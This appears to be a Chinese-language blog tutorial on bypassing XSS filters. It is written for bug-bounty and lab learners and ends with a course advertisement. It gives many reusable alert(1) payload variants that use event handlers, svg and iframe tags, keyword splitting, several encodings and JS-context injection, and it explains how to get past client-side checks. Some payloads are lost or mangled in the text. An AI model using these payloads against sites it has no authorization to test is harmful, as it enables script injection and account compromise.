XSS 攻击进阶实战:过滤绕过技巧与多场景 Payload 变形
XSS(Cross-Site Scripting,跨站脚本攻击)的基础利用场景在实际环境中已越来越难奏效,多数 Web 应用都会部署输入过滤、输出编码、前端校验等防护机制,拦截 script>、alert 等基础恶意 Payload。此时,漏洞挖掘的核心竞争力就在于精准预判过滤规则、找到防护逻辑盲区、通过 Payload 变形实现脚本注入——这也是区分 XSS 入门者与进阶者的关键门槛。
本文作为 XSS 攻击系列第二篇,承接第一篇的基础类型与入门利用内容,聚焦过滤绕过核心技术,拆解标签过滤、字符过滤、输出编码、前端校验等常见场景的突破方法,结合多环境适配 Payload,帮你从“能识别基础 XSS”升级为“能在复杂防护下实现注入”。

一、XSS 过滤机制核心认知:先懂规则,再绕规则
要实现高效绕过,首先要明确 Web 应用的防护逻辑。XSS 防护的本质是阻断恶意脚本的输入与执行链路,常见的防护机制可分为三类,防护强度与可绕过性依次不同。
1. 主流过滤机制(按防护强度排序)
-
输入过滤:最常用的基础防护。服务器对用户输入的内容进行关键词拦截(如直接过滤 script>、alert 等敏感词)、特殊字符转义(如将 < 转为 <、> 转为 >),或限制输入内容的长度、格式。
-
输出编码:更严谨的防护方式。服务器在将用户输入内容嵌入页面 HTML 前,统一进行 HTML 实体编码或 JS 编码,使恶意脚本失去可执行性,仅作为普通文本展示。
-
前端过滤:客户端层面的防护。通过 JavaScript 脚本在浏览器端拦截非法输入(如禁止输入含 <、> 的内容),但因逻辑完全暴露在前端,可绕过性最强。
2. 绕过核心逻辑(拒绝暴力试错)
高效绕过的关键不是盲目堆砌复杂 Payload,而是“预判规则 → 寻找盲区 → 切换上下文”的三步法:
-
预判规则:先用简单测试 Payload(如 < a>、alert(1))提交,分析被拦截的内容,明确防护针对的是标签、关键词还是特殊字符;
-
寻找盲区:利用过滤逻辑的不严谨性突破,比如大小写混合可绕过不区分大小写的过滤器、插入注释可拆分敏感关键词;
-
切换上下文:避开被严格过滤的
合法边界:所有过滤绕过测试需在授权靶场(如 DVWA、OWASP WebGoat)、SRC 平台或正式授权项目中进行,严禁利用绕过技术攻击未授权系统,否则需承担法律责任。
二、常见过滤场景与绕过实战技巧
本节按实战中最常遇到的过滤类型,拆解对应的绕过方法,并附上可直接复用的 Payload,覆盖 80% 以上的真实挖掘场景。
- 标签过滤绕过:避开 script> 拦截
多数简易过滤器会直接拦截 script> 标签,核心绕过思路是“替换脚本执行载体”,无需依赖 < script> 标签即可触发恶意代码。
(1)利用 HTML 事件属性触发脚本(实战首选)
通过 HTML 元素的事件属性(如 onerror、onload、onclick)执行脚本,兼容性强、绕过成功率高,是实战中最常用的方法。
-
基础 Payload 集合:
-
无用户交互触发(推荐):< img src=x onerror=alert(1)>(图片加载失败自动执行,无需用户操作)
-
需用户交互触发:< a href=x onclick=alert(1)>点击查看</ a>(用户点击链接时执行)
-
-
事件替换绕过:若 onerror 被过滤,可替换为其他事件
-
< img src=x onload=alert(1)>(图片加载成功触发)
-
< div onmouseover=alert(1)>鼠标悬浮触发</ div>(用户鼠标悬浮时执行)
-
-
多事件叠加绕过:适配部分仅拦截单一事件的过滤器
- < img src=x onerror=alert(1) onload=alert(2)>(总有一个事件可突破过滤)
(2)利用非标准标签执行脚本
部分标签虽非专门用于执行脚本,但可通过内置属性触发代码执行,绕过对 < script> 标签的专属拦截。
-
<SVG 标签(推荐)>:< svg onload=alert(1)>(主流浏览器均支持,无兼容性压力)
-
< IFRAME 标签>:< iframe src=“javascript:alert(1)”></ iframe>(通过 javascript: 伪协议执行脚本)
-
< VIDEO/AUDIO 标签>:< video src=x onerror=alert(1)>(视频加载失败触发,逻辑与图片 onerror 一致)
- 关键词过滤绕过:突破 alert、javascript 拦截
若过滤器针对 alert、javascript、eval 等核心关键词拦截,需通过“破坏关键词完整性”的方式,使其无法被过滤规则精准匹配。
(1)字符变形绕过
利用过滤器的字符串匹配漏洞,通过变形关键词实现绕过,适用于简易过滤规则:
-
大小写混合:< Img SrC=x OnErRoR=AlErT(1)>(适配不区分大小写的过滤器)
-
插入注释拆分:< img src=x onerror=al/任意注释内容/ert(1)>(用注释拆分 alert,绕过关键词匹配)
-
插入空字符编码:< img src=x onerror=alert(1)>(l 是字母 l 的 Unicode 编码,浏览器自动解析为正常字符)
(2)关键词拆分拼接绕过
将敏感关键词拆分为多个字符串,通过 eval 函数拼接执行,完全避开关键词过滤:
< svg onload=“var a=‘al’;var b=‘ert’;eval(a+b+‘(1)’)”>
(3)编码绕过(按执行上下文适配)
对关键词或完整 Payload 进行编码,绕过字符串匹配,核心是根据执行上下文选择编码方式,否则脚本无法执行:
-
HTML 实体编码(适用于 HTML 标签内):
将 alert(1) 编码为 & #x61; & #x6C;& #x65;& #x72;& #x74;& #x28;& #x31;& #x29;,完整 Payload:< img src=x onerror=& #x61;& #x6C;& #x65;& #x72;& #x74;& #x28;& #x31;& #x29;> -
URL 编码(适用于 javascript: 伪协议):
将 alert(1) 编码为 %61%6C%65%72%74%28%31%29,完整 Payload:< a href=“javascript:%61%6C%65%72%74%28%31%29”>点击触发</ a> -
JS Unicode 编码(适用于脚本上下文):
将 alert(1) 编码为 \u0061\u006C\u0065\u0072\u0074(1),完整 Payload:< script>\u0061\u006C\u0065\u0072\u0074(1)</ script>
- 输出编码绕过:突破 HTML 转义限制
若服务器对输入内容进行 HTML 编码(如 < 转 <、> 转 >),常规注入会失效,核心绕过思路是“切换注入上下文”,使编码后的内容仍能被浏览器执行。
(1)注入到 JS 上下文
若用户输入的内容被直接嵌入到 < script> 标签内或 JS 变量中,HTML 编码会失效。
-
实战场景:服务器代码为 var username = “<?php echo $_GET['name'];?>”,此时注入 Payload:
-
执行结果:页面渲染后 JS 代码变为 var username = “”;alert(1);//";,成功闭合变量引号并执行脚本,// 用于注释后续多余代码。
(2)利用编码解码差异绕过
若服务器仅做一次编码,而前端 JS 会对内容进行二次解码,可构造双重编码 Payload 实现绕过。
实战示例:将 < script>alert(1)</ script> 进行两次 URL 编码,注入后前端 JS 解码两次,还原为原始脚本并执行,适用于部分 CMS 系统、论坛的过滤逻辑。
- 前端过滤绕过:突破客户端校验
仅通过前端 JavaScript 实现的过滤,绕过难度极低,核心思路是“绕过客户端校验,直接向服务器提交恶意内容”。
方法一:禁用前端 JavaScript
在浏览器设置中禁用 JavaScript,前端过滤脚本失效,可直接在输入框中提交恶意 Payload(如 < svg onload=alert(1)>)。
方法二:抓包篡改请求
-
用 Burp Suite 等工具拦截前端提交的请求;
-
修改被前端过滤后的内容为恶意 Payload(如将输入的“正常文本”改为
);
-
发送修改后的请求到服务器,实现绕过。
方法三:修改前端校验逻辑
-
打开浏览器开发者工具(F12);
-
找到前端校验函数(如表单的 onSubmit 事件绑定函数);
-
修改函数返回值为 true,或直接删除校验事件,提交恶意内容。
三、多场景适配 Payload(实战必备)
不同 Web 环境对 Payload 的兼容性要求不同,整理高频场景的适配方案,避免重复试错,提升挖掘效率。

四、绕过避坑要点(新手必看)
-
避免过度变形:优先使用简单 Payload 绕过,复杂变形可能因浏览器兼容性问题失效,增加漏洞验证难度;
-
关注 HttpOnly Cookie:若目标 Cookie 设置了 HttpOnly 属性,即使注入成功也无法读取,需转向伪造请求等其他攻击场景(第三篇详解);
-
多浏览器交叉验证:不同浏览器对标签、事件的支持不同,需在 Chrome、Firefox、Edge 等主流浏览器中验证 Payload 有效性;
-
不依赖单一方法:过滤规则可能动态更新,需掌握多种绕过技巧,根据实际场景灵活切换思路。
五、总结:绕过的核心是“懂原理,会变形”
XSS 过滤绕过不是死记硬背 Payload,而是通过测试预判过滤规则,结合执行上下文选择合适的方法,灵活变形脚本。新手需在 DVWA、OWASP WebGoat 等靶场中反复演练不同过滤场景,理解“为什么这样绕”,而非单纯复制粘贴 Payload。
掌握这些技巧后,可应对多数 Web 应用的 XSS 防护机制,为后续挖掘高价值 XSS 漏洞(如管理员后台 XSS、内网 XSS)打下基础。下一篇文章将聚焦 XSS 高价值漏洞挖掘,拆解如何通过攻击链构建、核心场景突破,将普通 XSS 升级为 SRC 高分漏洞。
网络安全学习资源
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。

7183

被折叠的 条评论
为什么被折叠?



